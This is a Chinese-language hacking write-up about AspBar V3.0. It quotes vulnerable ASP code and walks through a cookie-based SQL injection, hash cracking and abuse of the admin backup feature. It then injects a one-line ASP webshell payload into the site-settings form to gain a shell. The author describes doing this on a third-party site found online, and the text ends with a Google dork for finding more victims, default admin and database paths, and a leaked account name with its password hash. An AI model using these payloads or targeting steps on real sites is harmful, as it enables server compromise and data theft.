|
作者:んㄗ葑訫鎖愛 http://www.virusest.com AspBar V3.0整站管理系统存在Cookies注入漏洞 Ku_go.asp问题代码: <%id=request("ku_id") set rsl=server.createobject("adodb.recordset") sqll="update ku_link set hits=hits+1 where ID="&ID&"" rsl.open sqll,conn,1,3 set rs=server.createobject("adodb.recordset") sql="select * from ku_link where id="&id rs.open sql,conn,1,3 系统加了防注入,但是简单看了下防注入系统,防的很不好,只过滤了request.querystring方法,而request.form和request.Cookies方法就没管,这也就造成了很大的安全隐患。但是这套系统玩了半天,花了一天时间才拿下Shell。首先,找到网站,在网站的友情链接处单击鼠标右键,查看属性,得到这样的地址http://localhost/Ku_go.asp?ku_id=15,如图:
利用注入中转,本地进行Cookies注入,如图:我拿到官方的账号和密码,但是却没找到后台,郁闷,放弃!(注意手动添加表名)
后来,在网上找了个用此系统的网站,通过Cookies注入,拿到账号和密码,后台也有,但是恶心的地方来了,不知道大家注意到没有,该系统的密码是40位的,普通的MD5加密后都是16位和32位的,后来经过研究,他的加密算法是这样的,40位密码中前16位是明文密码经过MD5,16位加密后的的密码,而40位密码中后16位是经过MD5,32位加密的后16位,至于40位中间的8位我也不知道是怎么来的。说的有点拗口,总之,拿到密码后取其前16位去破解,就可得到明文密码。后来联系到开发者,交流后才知道这个MD5算法是别人写的,真是煞费苦心丫!这么恶心。好了,拿到密码进了后台后,第一时间想到的是看有没有数据库备份,很好,果然有,立马上传图片马,准备备份时,更恶心的地方来了,备份数据库的相对路径和绝对路径没法改,查看源代码后才发现多了个 readonly,如下:<form method="post" action="ku_data.asp?action=BackupData"> <tr> <td> 当前数据库路径(绝对路径): <input name="B_DBpath" type="text" id="B_DBpath" value="../Ku_data/Ku_database.mdb" size="60" class="button1" / readonly></td> </tr> <tr> <td height="25">备份数据库目录(绝对路径): <input name="B_BKpath" type="text" id="B_BKpath" value="../Databackup" size="60" class="button1" / readonly></td> </tr> <tr> <td>备份数据库名称(填写名称): <input type="button" name="tjiao" value="加日期" onClick="B_FileName.value='2009-10-9beifen.sql'"/> <input name="B_FileName" type="text" id="B_FileName" value="beifen.sql" size="35" class="button1" / readonly> <input name="submit2" type="submit" value="确定备份" class="button2" /></td> </tr>
这样没法改路径,也就备份不了了,不过这个可以突破的,将源代码保存到本地,将value值改成你的图片马的路径,然后将 <form method="post" action="ku_data.asp?action=BackupData"> 中的action值改成全路径,即http://www.xxxxx.com/admin/ku_data.asp?action=BackupData,保存后就可以本地提交备份了,但是在测试时问题又来了,当前数据库路径和备份目录不能改,改任何一个就会跳到http://www.xxxxx.com/admin/ku_data.asp?action=BackupData该页面,而备份名称可以随便改,后来郁闷了一会,查看了一下备份的代码,发现了更更恶心的东西,Ku_Data.asp中的备份过程是这么写的,Sub BackupData() ' On error resume next Dim FileConnStr, Fileconn, B_DBpath, B_BKpath, B_FileName B_DBpath = Request.Form("B_DBpath") B_DBpath = Server.Mappath(B_DBpath) '恶心的地方在这,本来当前数据库路径从表单提取,但是多了这句,数据库路径变成从服务器上取得,本地修改的路径就无效了, B_BKpath = Request.Form("B_BKpath") B_BKpath = Server.Mappath(B_BKpath) ‘备份目录也是这么干的, B_FileName = Request.Form("B_FileName") ‘ 只有备份名称可以从本地提交,
FileConnStr = "Provider = Microsoft.Jet.OLEDB.4.0;Data Source = " & B_DBpath Set Fileconn = Server.CreateObject("ADODB.Connection") Fileconn.open FileConnStr
看到这,既然备份的名称可以从本地取得,那为何不在当前数据库插入一句话,然后备份成asp的格式,再用一句话连接备份后的数据库呢,想法是很单纯,现实是残酷的,当我看到一句话原样躺在数据库中,连接时,却出现语法错误的提示,不是我一句话的问题,而是他做了手脚,伤心了,看来这条路是走不通了,后来点到了系统设置时突然来了灵感,在网站配置那里试着插入一句话,然后再连接试试,将一句话进行到底,看了下系统配置Ku_Setup.asp页面是这么写的, if action="ok" then webname = trim(Request.form("webname")) miaoshu = trim(Request.form("miaoshu")) http = trim(Request.form("http")) http = trim(Request.form("http")) banben = trim(Request.form("banben")) email = trim(Request.form("email")) dianhua = trim(Request.form("dianhua")) qq = trim(Request.form("QQ")) beian = trim(Request.form("beian")) tongji = trim(Request.form("tongji")) mokuai = trim(Request.form("mokuai")) database = trim(Request.form("data")) indexad = trim(Request.form("indexad")) artad = trim(Request.form("artad")) fenlei = trim(Request.form("fenlei")) cpad = trim(Request.form("cpad")) downad = trim(Request.form("downad")) kaifa = trim(Request.form("kaifa")) ad = trim(Request.form("ad")) voteincdir = server.mappath("../ku_inc/Ku_config.asp") Const ForReading =1, ForWriting = 2 set fs = CreateObject("Scripting.FileSystemObject") set ts = fs.OpenTextFile(voteincdir,ForWriting, True) ts.Write "" ts.Write "<" ts.Write "%"& vbCrLf ts.Write " Ku_name= "&""""&webname&""""& vbCrLf ts.Write " Ku_web= "&""""&miaoshu&""""& vbCrLf ts.Write " Ku_tongji= "&""""&tongji&""""& vbCrLf ts.Write " Ku_beian= "&""""&beian&""""& vbCrLf ts.Write " Ku_net= "&""""&http&""""& vbCrLf ts.Write " Ku_ban= "&""""&banben&""""& vbCrLf ts.Write " Ku_email= "&""""&email&""""& vbCrLf ts.Write " Ku_tel = "&""""&dianhua&""""& vbCrLf ts.Write " Ku_qq = "&""""&qq&""""& vbCrLf ts.Write " Ku_webzz = "&""""&kaifa&""""& vbCrLf ts.Write " Ku_mokuai= "&""""&mokuai&""""& vbCrLf ts.Write " Ku_database= "&""""&database&""""& vbCrLf ts.Write " Ku_indexad= "&""""&indexad&""""& vbCrLf ts.Write " Ku_artad= "&""""&artad&""""& vbCrLf ts.Write " Ku_fl= "&""""&fenlei&""""& vbCrLf ts.Write " Ku_cpad= "&""""&cpad&""""& vbCrLf ts.Write " Ku_downad= "&""""&downad&""""& vbCrLf ts.Write " Ku_adss= "&""""&ad&""""& vbCrLf ts.Write "%" ts.Write ">" ts.close response.write "<script language=javascript>" response.write "alert('系统相关设置成功!');" response.write "</script>" response.redirect"ku_setup.asp" end if
直接从form取得信息,并没过滤,然后写到ku_inc/Ku_config.asp文件中,前面也说了,防注入只对querystring感冒,其他的放行,先在本地测试,因为在这里一句话格式写不对会直接挂掉网站的,经过测试,一句话的格式为 "%><%execute(request("cmd"))%><%',写在开发商那里,提交后页面刷新了下,没破坏,
打开ku_inc/Ku_config.asp页面看到熟悉的字眼,一句话连上去拿到了Shell,
早想到这点,当初就不必在数据库那里瞎折腾了, 利用:Google:inurl:Ku_shownews.asp,后台:admin/Ku_Login.asp 默认数据库:Ku_data\Ku_database.mdb可以下载的(挖掘鸡?) 还有一个在线编辑器,登陆地址:Ku_web/Admin_Login.asp 账号是guxing,密码没破出来,MD5加密后的是df8150673aaf363f,有兴趣的自己破解吧!
|